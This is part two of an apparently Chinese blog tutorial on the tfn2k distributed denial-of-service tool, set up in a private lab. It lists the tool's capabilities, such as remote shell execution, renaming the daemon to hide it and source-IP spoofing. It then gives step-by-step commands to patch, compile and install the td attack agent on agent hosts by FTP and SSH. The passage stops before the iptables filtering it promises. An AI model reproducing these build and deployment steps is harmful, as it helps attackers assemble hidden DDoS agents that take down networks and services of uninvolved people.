tfn2k 分布式拒绝服务攻击攻击及iptables过滤测试( 二 )


◆ 利用td进程,主控端可以远程执行shell命令.
◆ td进程的名称可以在编译时更改,更便于隐藏.
◆ tfn可以编译运行于win32及linux系统的.
...
至于伪造源IP地址等功能,更是基本功能,并且其与老版本的tfn相比,它的发包效率更高,我自已的测试,在短短不到5分钟,两台代理机,使我的redhat linux 9.0系统瘫痪.
三.tfn2k 实战测试
1.测试环境:
 软件:redhat linux 9.0
 硬件平台:
master:
IP: 192.168.0.6
 PIV2.4/256*2/rtl8139
Ag1 :
IP: 192.168.0.2
 PIV2.4/256*/rtl8139
AG2 : IP: 192.168.0.3
 pIV2.6/512*2/3c905
AIM: 192.168.0.5
 pIV2.66c/512*2/3c905
switch: D_link des 1024R
1.下载tfn2k.tgz(因为此软件非比寻常,所以我并不提供下载地址,如果有兴趣,自已到网上找吧)
2.解压: tar zxvf tfn2k.tgz
3.修改文件
A. src/Makefile 如果你的系统是linux系统,不需要做任何修就可以,如果是win32系统,请将

# Linux / *BSD* / Others
CC = gcc
CFLAGS = -Wall -O3
CLIBS =
这几行注释掉,并将

# Win32 (cygwin)
#CC = gcc
#CFLAGS = -Wall -DWINDOZE -O2
#CLIBS =
这几行的注释去掉.因为我的测试系统为redhat linux 9.0所以并未做任何修改.
B. src/config.h,默认的就可以用,如果感兴趣,可以照其注释信息进行调整 。
C. src/ip.h 这里要做一些修改,否则编译会有错误,发生重复定义 。

 /*struct in_addr
{
unsigned long int s_addr;
 };*/
注意啊~~我可是将它放在"/* */"之间,也就是注释掉了:)
D.更改编译器:
因为tfn2k支持的是egcs-1.1.2-30,而redhat linux9.0所包含的是gcc-3.2.2-5,所以如果不替换掉gcc,tfn2k是编译不过去的.需要注意的是,更改之后,有可能会造成基于gcc3.2.2的软件编译不去,请谨慎而行.
方法很简单的,找到一张redhat linux 6.2安装盘,将egcs-1.1.2-30.rpm、cpp-1.1.2-30.rpm拷到~/

cd /mnt/cdrom/Redhat/RPMS
cp egcs-1.1.2-30* cpp-1.1.2-30* ~/
安装cpp rpm -Uvh --nodeps --oldpackage cpp-1.1.2-30.i386.rpm
安装egcs rpm -Uvh egcs-1.1.2-30.i386.rpm
(如果提示有误,用nodeps、oldpackages、ignoreos等参数忽略过去就是了)
4.编译tfn2k

cd tfn2k/src
make
首先会谈出一个声明,你必须接受,之后会提示输入8-32位密码,前边提到过,这是唯一的认证凭证,会被分发于td进程中,所以一定要记牢噢~ 。
编译通过后,会产生td及tfn,这就是大名鼎鼎的tfn2k啦~,td是守护进程,用来安装在代理中的,而tfn就是控制端.
5.安装td.
将td上传到我的两台代理,ag1(192.168.0.2)和ag2(192.168.0.3),因为我只不过测试,所以用的是合法的root来上传并执行td进程的,如果真要找到并安装一个代理,你可能得费点儿神,因为没有一个管理员会说 “come on baby ~~.我给你root,来安装td做代理吧”

[root@test /] ftp 192.168.0.2
Connected to 192.168.0.2.
530 Please login with USER and PASS.
530 Please login with USER and PASS.
Name (192.168.0.2:root): wjpfjy
331 Please specify the password.
Password:
230 Login successful. Have fun.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> put td (上传td)
 local: td remote: td
 227 Entering Passive Mode (192,168,0,3,198,225)
 553 Could not create file.
ftp> by (退出ftp)
221 Goodbye.
[root@test /]ssh 192.168.0.2
//登陆到ag1 以执行td ,注意,我用的是root帐户,这样才有足够的权限来执行它.
root@192.168.0.2"s password:
Last login: Tue Feb 24 06:51:13 2004
[root@ ag1 /]find / -name td -print
//找到刚上传过来的文件td.
[root@ ag1 wjpfjy/]chmod a x td
//使之具有执行权限.

推荐阅读